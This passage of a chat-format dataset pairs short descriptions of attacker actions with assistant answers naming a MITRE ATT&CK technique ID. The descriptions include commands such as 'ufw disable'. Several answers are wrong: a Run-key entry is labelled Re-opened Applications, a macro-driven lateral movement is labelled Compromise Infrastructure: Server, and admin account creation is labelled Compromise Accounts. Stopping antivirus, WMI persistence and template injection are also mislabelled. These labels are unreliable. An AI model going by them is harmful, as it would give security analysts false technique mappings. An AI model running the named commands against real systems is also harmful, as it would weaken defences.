                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries gain entry to a restricted online community for former employees of the victim company and harvest personal anecdotes that reveal security practices."
            },
            {
                "role": "assistant",
                "content": "T1597 - Search Closed Sources"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By exploiting the Windows Installer service, the threat actor proxies code execution through a signed installer binary."
            },
            {
                "role": "assistant",
                "content": "T1127 - Trusted Developer Utilities Proxy Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker abuses the SetDefaultInputMethod function to launch a malicious process each time the user accesses the accessibility language settings."
            },
            {
                "role": "assistant",
                "content": "T1546.008 - Event Triggered Execution: Accessibility Features"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised third‑party VPN device allowed the adversary to tunnel into the network and take over internal servers."
            },
            {
                "role": "assistant",
                "content": "T1584.004 - Compromise Infrastructure: Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary extracts saved login credentials from a popular browser-integrated password manager by dumping its encrypted vault files."
            },
            {
                "role": "assistant",
                "content": "T1555.005 - Credentials from Password Stores: Password Managers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary utilizes search engine queries combined with business name variations to find victim-controlled websites."
            },
            {
                "role": "assistant",
                "content": "T1594 - Search Victim-Owned Websites"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By deploying a counterfeit domain controller, the adversary intercepts Kerberos tickets and performs pass‑the‑ticket operations against the enterprise."
            },
            {
                "role": "assistant",
                "content": "T1207 - Rogue Domain Controller"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor employs the `net.exe` utility with the `localgroup` parameter to list local group accounts."
            },
            {
                "role": "assistant",
                "content": "T1069.001 - Permission Groups Discovery: Local Groups"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages DHCP starvation followed by ARP poisoning to control traffic flow in the victim’s subnet."
            },
            {
                "role": "assistant",
                "content": "T1557.002 - Adversary-in-the-Middle: ARP Cache Poisoning"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary uses the macOS launchctl command to register a malicious daemon that runs with root privileges at system startup."
            },
            {
                "role": "assistant",
                "content": "T1569.001 - System Services: Launchctl"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During the breach, the adversary modified firewall rules to allow traffic to an external proxy, using it to relay malicious payloads to internal systems."
            },
            {
                "role": "assistant",
                "content": "T1090.002 - Proxy: External Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion used a legitimate third‑party remote support tool to bypass firewall restrictions and interact with internal hosts."
            },
            {
                "role": "assistant",
                "content": "T1133 - External Remote Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker runs the 'whoami' command to identify the current logged-in user."
            },
            {
                "role": "assistant",
                "content": "T1033 - System Owner/User Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A new spyware variant was developed to capture webcam footage and microphone audio on infected machines."
            },
            {
                "role": "assistant",
                "content": "T1587.001 - Develop Capabilities: Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion tool obtains an OAuth token for the compromised user and queries the Microsoft Graph API to pull recent email content."
            },
            {
                "role": "assistant",
                "content": "T1114.002 - Email Collection: Remote Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages a symbolic link to mask the true location of a malicious payload within system folders."
            },
            {
                "role": "assistant",
                "content": "T1608.005 - Stage Capabilities: Link Target"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised website injects a malicious hyperlink into its pages, causing visitors who click to run a credential‑stealing script."
            },
            {
                "role": "assistant",
                "content": "T1204.001 - User Execution: Malicious Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The technique involves editing the Mach-O file to add an LC_LOAD_DYLIB entry pointing to a malicious dylib, facilitating code execution."
            },
            {
                "role": "assistant",
                "content": "T1546.006 - Event Triggered Execution: LC_LOAD_DYLIB Addition"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker’s extension injects malicious scripts into banking websites to capture one‑time passwords."
            },
            {
                "role": "assistant",
                "content": "T1176 - Browser Extensions"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker crafts a spearphishing email with a URL shortened using a URL‑shortening service to hide the final malicious payload hosted on a compromised server."
            },
            {
                "role": "assistant",
                "content": "T1566.002 - Phishing: Spearphishing Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor uses a custom authentication package to maintain persistence across reboots by hooking the logon process."
            },
            {
                "role": "assistant",
                "content": "T1547.002 - Boot or Logon Autostart Execution: Authentication Package"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware modifies the MBR to gain persistence while evading boot‑time integrity checks."
            },
            {
                "role": "assistant",
                "content": "T1542.003 - Pre-OS Boot: Bootkit"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker triggers a series of MFA push notifications to the victim's authenticator app, hoping the user will approve one out of fatigue."
            },
            {
                "role": "assistant",
                "content": "T1621 - Multi-Factor Authentication Request Generation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor adds a malicious shared object to a directory that precedes legitimate libraries in the LD_LIBRARY_PATH, resulting in hijacked execution flow."
            },
            {
                "role": "assistant",
                "content": "T1574.006 - Hijack Execution Flow: Dynamic Linker Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker automates SharePoint folder enumeration via the Microsoft Graph API and silently copies files to an external server."
            },
            {
                "role": "assistant",
                "content": "T1213.002 - Data from Information Repositories: Sharepoint"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary utilizes a compromised Box.com account to silently copy exfiltrated files to an external server."
            },
            {
                "role": "assistant",
                "content": "T1567 - Exfiltration Over Web Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The exploit involves inserting template language expressions into a comment field, which the backend renders with a templating engine, allowing remote code execution."
            },
            {
                "role": "assistant",
                "content": "T1221 - Template Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker adds a value to HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run that launches a malicious executable each time the user logs on."
            },
            {
                "role": "assistant",
                "content": "T1547.007 - Boot or Logon Autostart Execution: Re-opened Applications"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A backdoor leaks data by writing it to a public pastebin site using plain HTTP, with no encryption or authentication."
            },
            {
                "role": "assistant",
                "content": "T1048.003 - Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted Non-C2 Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Calling cloud provider APIs to enumerate storage buckets, virtual machines, and database instances."
            },
            {
                "role": "assistant",
                "content": "T1595 - Active Scanning"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After compromising a user account, the attacker used sudo -l to enumerate allowed commands and then leveraged sudo caching to run a privileged script silently."
            },
            {
                "role": "assistant",
                "content": "T1548.003 - Abuse Elevation Control Mechanism: Sudo and Sudo Caching"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat updates the KernelCallbackTable to replace legitimate callback addresses with attacker-controlled functions."
            },
            {
                "role": "assistant",
                "content": "T1574.013 - Hijack Execution Flow: KernelCallbackTable"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The campaign uses fast-flux DNS to dynamically resolve URLs, making static analysis of the malicious URLs difficult."
            },
            {
                "role": "assistant",
                "content": "T1568.001 - Dynamic Resolution: Fast Flux DNS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary abuses a compromised privileged account to create new user accounts with administrative rights."
            },
            {
                "role": "assistant",
                "content": "T1586 - Compromise Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A custom DLL injected into a legitimate audio driver hooks the capture APIs to silently log all microphone input during user calls."
            },
            {
                "role": "assistant",
                "content": "T1123 - Audio Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code runs 'ufw disable' to turn off the Uncomplicated Firewall on Ubuntu."
            },
            {
                "role": "assistant",
                "content": "T1562.004 - Impair Defenses: Disable or Modify System Firewall"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion set leveraged the Windows API function GetExtendedTcpTable to retrieve a table of all active TCP connections on the compromised endpoint."
            },
            {
                "role": "assistant",
                "content": "T1049 - System Network Connections Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion tool employs symmetric AES encryption for its data exfiltration channel to protect the contents from inspection."
            },
            {
                "role": "assistant",
                "content": "T1573 - Encrypted Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker runs a Wi‑Fi scanning tool to discover surrounding wireless networks and captures their MAC addresses and encryption types."
            },
            {
                "role": "assistant",
                "content": "T1016.002 - System Network Configuration Discovery: Wi-Fi Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries developed a new ransomware payload that uses AES-256 encryption and a unique ransom note."
            },
            {
                "role": "assistant",
                "content": "T1587.001 - Develop Capabilities: Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor uses a malicious USB stick to exfiltrate data by writing stolen credentials to the removable media."
            },
            {
                "role": "assistant",
                "content": "T1025 - Data from Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker sets up a WMI permanent event consumer that launches a malicious DLL whenever the system boots."
            },
            {
                "role": "assistant",
                "content": "T1047 - Windows Management Instrumentation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious software modifies the Windows registry to change the default login method to a custom credential validator under the attacker's control."
            },
            {
                "role": "assistant",
                "content": "T1556 - Modify Authentication Process"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor downgrades TLS connections to use outdated ciphers such as RC4 and 3DES, weakening encryption during data in transit."
            },
            {
                "role": "assistant",
                "content": "T1600 - Weaken Encryption"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By exploiting LLMNR replies, the attacker forces a victim to authenticate to a malicious SMB share, capturing the authentication data for later relay."
            },
            {
                "role": "assistant",
                "content": "T1557.001 - Adversary-in-the-Middle: LLMNR/NBT-NS Poisoning and SMB Relay"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker drops a malicious binary in the same directory as a target application, exploiting the fact that the application searches its own folder before system paths."
            },
            {
                "role": "assistant",
                "content": "T1574.008 - Hijack Execution Flow: Path Interception by Search Order Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries embed JavaScript code in a PDF that runs when the document is opened, establishing a reverse shell."
            },
            {
                "role": "assistant",
                "content": "T1059.007 - Command and Scripting Interpreter: JavaScript"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A credential‑stealing module reads the macOS Keychain to obtain stored banking application login details."
            },
            {
                "role": "assistant",
                "content": "T1555.001 - Credentials from Password Stores: Keychain"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion used a renamed 'cmd.exe' copy placed in the system’s PATH to run malicious commands."
            },
            {
                "role": "assistant",
                "content": "T1036.005 - Masquerading: Match Legitimate Name or Location"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker stops the antivirus service before executing payloads."
            },
            {
                "role": "assistant",
                "content": "T1489 - Service Stop"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By abusing token substitution, the attacker replaces a legitimate SAML assertion with a forged one to bypass access controls."
            },
            {
                "role": "assistant",
                "content": "T1606.002 - Forge Web Credentials: SAML Tokens"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised service account is used to access and exfiltrate sensitive files from the network."
            },
            {
                "role": "assistant",
                "content": "T1078 - Valid Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Rename of a PowerShell module to \"kernel32.dll\" to avoid suspicion during lateral movement."
            },
            {
                "role": "assistant",
                "content": "T1036.003 - Masquerading: Rename System Utilities"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker exploits a vulnerability in a system to gain elevated privileges."
            },
            {
                "role": "assistant",
                "content": "T1068 - Exploitation for Privilege Escalation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By hijacking the runtime library loading mechanism, the intruder ensures that a malicious payload is executed each time the application loads a shared object."
            },
            {
                "role": "assistant",
                "content": "T1574.006 - Hijack Execution Flow: Dynamic Linker Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using the Mavinject function, the threat actor proxies its payload through a signed system executable to avoid detection."
            },
            {
                "role": "assistant",
                "content": "T1218.013 - System Binary Proxy Execution: Mavinject"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware updates the timestamps of malicious binaries to match legitimate system files, erasing evidence of compromise."
            },
            {
                "role": "assistant",
                "content": "T1070.006 - Indicator Removal: Timestomp"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary uploaded stolen documents to a publicly accessible Amazon S3 bucket using the AWS CLI to bypass network defenses."
            },
            {
                "role": "assistant",
                "content": "T1567.002 - Exfiltration Over Web Service: Exfiltration to Cloud Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker drops a custom .service file and corresponding .timer file in /etc/systemd/system, then starts the timer to execute a reverse shell on boot."
            },
            {
                "role": "assistant",
                "content": "T1053.006 - Scheduled Task/Job: Systemd Timers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker utilizes a Python one-liner to download and execute a second-stage payload from a remote server."
            },
            {
                "role": "assistant",
                "content": "T1059.006 - Command and Scripting Interpreter: Python"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor queries the Windows registry for the location of the user's default mail store and steals the .ost files."
            },
            {
                "role": "assistant",
                "content": "T1114.001 - Email Collection: Local Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor obtains closed‑source vulnerability bulletins from a security consultancy to prioritize exploitation of unpatched software."
            },
            {
                "role": "assistant",
                "content": "T1597.001 - Search Closed Sources: Threat Intel Vendors"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary establishes a C2 channel that uses RSA public‑key encryption to protect traffic between the compromised host and the attacker server."
            },
            {
                "role": "assistant",
                "content": "T1573.002 - Encrypted Channel: Asymmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor leverages a tool to unlink a malicious process from its original parent and reattach it under a benign process, breaking the normal process lineage."
            },
            {
                "role": "assistant",
                "content": "T1036.009 - Masquerading: Break Process Trees"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious email attachment containing a malicious macro was opened on an admin workstation, leading to lateral movement onto a file server."
            },
            {
                "role": "assistant",
                "content": "T1584.004 - Compromise Infrastructure: Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers accessed the FTP service of a public website and uploaded a defaced home page, visibly changing the site's appearance."
            },
            {
                "role": "assistant",
                "content": "T1491.002 - Defacement: External Defacement"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries replace the legitimate network provider DLL with a malicious version to capture credentials during login."
            },
            {
                "role": "assistant",
                "content": "T1556.008 - Modify Authentication Process: Network Provider DLL"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After extracting files from the ransom payload, the ransomware places them in a temporary folder to stage them for encryption."
            },
            {
                "role": "assistant",
                "content": "T1074.001 - Data Staged: Local Data Staging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker sends a malicious Word document with embedded macros that the victim opens, causing the payload to execute."
            },
            {
                "role": "assistant",
                "content": "T1204.002 - User Execution: Malicious File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cybercriminal exfiltrates shared credentials from a compromised Mattermost chat workspace."
            },
            {
                "role": "assistant",
                "content": "T1552.008 - Unsecured Credentials: Chat Messages"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor employs regasm /u to unregister a legitimate component and replace it with a malicious one for execution."
            },
            {
                "role": "assistant",
                "content": "T1218.009 - System Binary Proxy Execution: Regsvcs/Regasm"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious insider used legitimate credentials to archive and transfer data from SharePoint Online to a personal cloud storage account."
            },
            {
                "role": "assistant",
                "content": "T1530 - Data from Cloud Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised server runs a PowerShell script that encodes confidential logs and uploads them to an anonymous gist on GitHub for later retrieval."
            },
            {
                "role": "assistant",
                "content": "T1567.003 - Exfiltration Over Web Service: Exfiltration to Text Storage Sites"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary altered the VM instance type and attached additional GPUs to increase compute power for crypto mining."
            },
            {
                "role": "assistant",
                "content": "T1578.005 - Modify Cloud Compute Infrastructure: Modify Cloud Compute Configurations"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion set leverages a compromised IoT device to exfiltrate data over MQTT to an external broker."
            },
            {
                "role": "assistant",
                "content": "T1048 - Exfiltration Over Alternative Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries purchase a domain using privacy‑protected WHOIS information to conceal ownership."
            },
            {
